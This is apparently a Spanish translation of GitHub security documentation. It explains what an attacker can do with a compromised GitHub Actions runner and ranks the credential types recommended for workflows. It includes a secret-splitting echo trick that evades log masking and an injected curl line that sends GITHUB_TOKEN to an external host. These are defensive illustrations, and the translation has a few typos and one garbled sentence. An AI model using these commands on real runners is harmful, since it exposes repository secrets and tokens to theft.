Ejecutores en peligro

Comprenda los riesgos de seguridad asociados con los GitHub Actions runners comprometidos.

En este artículo

Impacto potencial de un ejecutor puesto en riesgo

Estas secciones abordan algunos de los pasos que un atacante puede seguir si puede ejecutar comandos maliciosos en un GitHub Actions runner.

Acceder a los secretos

Los flujos de trabajo desencadenados desde un repositorio bifurcado mediante el evento pull_request tienen permisos de solo lectura y no tienen acceso a secretos. Sin embargo, estos permisos difieren para varios desencadenadores de eventos, como issue_comment, issues, push y pull_request desde una rama dentro del repositorio, donde el atacante podría intentar robar secretos del repositorio o usar el permiso de escritura de la tarea GITHUB_TOKEN.

  • Si el token o el secreto se configura como una variable de entorno, se puede acceder a él directamente mediante el entorno con printenv.

  • Si el secreto se utiliza dierctamente en una expresiòn, el script del shell que se generò se almacenarà en el disco y se podrà acceder al èl.

  • En el caso de una acción eprsonalizada, el riesgo puede variar dependiendo de cómo un programa utiliza el secreto que obtuvo del argumento:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Aunque GitHub Actions elimina de la memoria los secretos a los que no se hace referencia en el flujo de trabajo (o en una acción incluida), un atacante decidido puede obtener GITHUB_TOKEN y cualquier secreto al que se haga referencia.

Exfiltrar datos de un ejecutor

Un atacante puede exfiltrar cualquier secreto u otros datos robados del ejecutor. Para ayudar a evitar la divulgación accidental de GitHub Actions, pero esto no es un límite de seguridad verdadero porque los secretos se pueden enviar intencionadamente al registro. Por ejemplo, los secretos ofuscados se pueden filtrar mediante echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Adicionalmente, ya que el atacante podría ejecutar comandos arbitrarios, podrían utilizar las solicitudes de tipo HTTP para enviar secretos u otros datos del repositorio a un servidor externo.

Robo del elemento GITHUB_TOKEN del trabajo

Es posible que un atacante robe el elemento GITHUB_TOKEN del trabajo. El GitHub Actions ejecutor recibe automáticamente un generado GITHUB_TOKEN con permisos limitados solo al repositorio que contiene el flujo de trabajo y el token expira una vez completado el trabajo. Una vez que se venza, el token ya no será útil para un atacante. Para evitar esta limitación, pueden automatizar el ataque y realizarlo en fracciones de segundo llamando a un servidor controlado por el atacante con el token, por ejemplo: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modificar el contenido de un repositorio

El servidor atacante puede usar la API para modificar el GitHubcontenido del repositorio, incluidas las versiones, si los permisos asignados de GITHUB_TOKENno están restringidos.

Acceso entre repositorios

GitHub Actions se limita intencionadamente a un único repositorio a la vez. GITHUB_TOKEN concede el mismo nivel de acceso que el de un usuario con acceso de escritura, ya que cualquier usuario con este tipo de acceso puede acceder a este token creando o modificando un archivo de flujo de trabajo, lo que eleva los permisos de GITHUB_TOKEN en caso de ser necesario. Los usuarios tienen permisos específicos para cada repositorio, por lo que permitir que un GITHUB_TOKEN repositorio conceda acceso a otro afectaría al GitHub modelo de permisos si no se implementa con cuidado. Del mismo modo, se debe tener precaución al agregar GitHub tokens de autenticación a un flujo de trabajo, ya que esto también puede afectar al GitHub modelo de permisos al conceder accidentalmente acceso amplio a los colaboradores.

Si su organización pertenece a una cuenta empresarial, puede compartir y reutilizar GitHub Actions almacenándolos en repositorios internos. Para más información, consulta Compartir acciones y flujos de trabajo con tu empresa.

Puede realizar otras interacciones con privilegios y entre repositorios haciendo referencia a un GitHub token de autenticación o una clave SSH como un secreto dentro del flujo de trabajo. Ya que muchos tipos de tokens de autenticación no permiten el acceso granular a recursos específicos, existe un riesgo significativo en el utilizar el tipo incorrecto de token, ya que puede otorgr un acceso mucho más amplio que lo que se espera.

Esta lista describe los acercamientos recomendatos para acceder alos datos de un repositorio dentro de un flujo de trabjajo, en orden descendente de preferencia:

  1. ElGITHUB_TOKEN
    • El ámbito de este token está intencionalmente limitado al único repositorio que invocó el flujo de trabajo, y puede tener el mismo nivel de acceso que un usuario con permisos de escritura en el repositorio. El token se crea antes de que inicie cada job y caduca cuando dicho job finaliza. Para más información, consulta Uso de GITHUB_TOKEN para la autenticación en flujos de trabajo.
    • GITHUB_TOKEN se debe usar siempre que sea posible.
  2. Clave de implementación del repositorio
    • Las llaves de despliegue son uno de los únicos tipos de credenciales que otorgan acceso de lectura o escritura en un solo repositorio, y pueden utilizarse para interactuar con otro repositorio dentro de un flujo de trabajo. Para más información, consulta Administrar las llaves de despliegue.
    • Nota que las llaves de despliegue solo pueden clonarse y subirse al repositorio utilizando Git, y no pueden utilizarse para interactuar con las API de REST o de GraphQL, así que puede no sean adecuadas para tus necesidades.
  3. ** GitHub App tokens**
  4. ** personal access tokens**
    • Nunca debe usar un personal access token (classic). Estos tokens conceden acceso a todos los repositorios de las organizaciones a las que tienes acceso, así como a los repositorios de tu cuenta personal. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo.
    • Si realmente usa un personal access token, nunca debe usar un personal access token de su propia cuenta. Si sales de una organización más adelante, los flujos de trabajo que utilicen este token fallarán inmediatamente, y depurar este problema puede ser difícil. En su lugar, debería usar un fine-grained personal access token para una cuenta nueva que pertenezca a su organización y a la que solo se le conceda acceso a los repositorios específicos necesarios para el flujo de trabajo. Nota que este acercamiento no es escalable y debe evitarse para favorecer otras alternativas, tales como las llaves de despliegue.
  5. Claves SSH en una cuenta personal
    • Los flujos de trabajo nunca deben usar las llaves SSH en una cuenta personal. De forma similar a personal access tokens (classic), conceden permisos de lectura y escritura a todos los repositorios personales, así como a todos los repositorios a los que tiene acceso a través de la pertenencia a la organización. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo. Si pretendes utilizar una llave SSH porque solo necesitas llevar a cabo clonados de repositorio o subidas a éste, y no necesitas interactuar con una API pública, entonces mejor deberías utilizar llaves de despliegue individuales.

Pasos siguientes

Para conocer los procedimientos recomendados de seguridad con GitHub Actions, consulte Referencia de uso seguro.